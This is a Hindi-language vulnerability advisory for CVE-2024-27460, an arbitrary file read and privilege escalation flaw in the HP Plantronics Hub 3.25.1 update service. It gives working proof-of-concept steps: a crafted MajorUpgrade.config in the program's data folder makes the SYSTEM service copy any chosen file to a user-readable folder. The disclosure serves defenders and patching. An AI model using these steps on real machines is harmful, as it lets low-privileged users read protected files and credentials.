CVE-2024-27460

HP Plantronics Hub 3.25.1 Updater विशेषाधिकार वृद्धि/मनमानी फ़ाइल पठन

विवरण:

HP Plantronics Hub 3.25.1 में एक बग है जो कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उस मशीन पर SYSTEM के रूप में मनमानी फ़ाइल पठन करने की अनुमति देता है जहाँ एप्लिकेशन स्थापित है। इसके अलावा, इस दोष का दुरुपयोग करके SYSTEM उपयोगकर्ता तक विशेषाधिकार बढ़ाना संभव है।

प्रभावित संस्करण

HP Plantronics Hub 3.25.1

प्रभावित सेवा(एँ)

असुरक्षित पथ: "C:\ProgramData\Plantronics\Spokes3G"

सेवा: PlantronicsUpdateService

पुनरुत्पादन के चरण (POC):

• cmd.exe खोलें
• cd C:\ProgramData\Plantronics\Spokes3G का उपयोग करके नेविगेट करें
• echo ^|^|<FULL-PATH-TO-YOUR-DESIRED-FILE>^|> MajorUpgrade.config
• वांछित फ़ाइल "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp" में कॉपी की जाएगी, जिस तक किसी भी प्रमाणित उपयोगकर्ता की पहुँच है।

खोजकर्ता:

• Deloitte Belgium के Farid Zerrouk
• Mastercard Europe के Alaa Kachouh।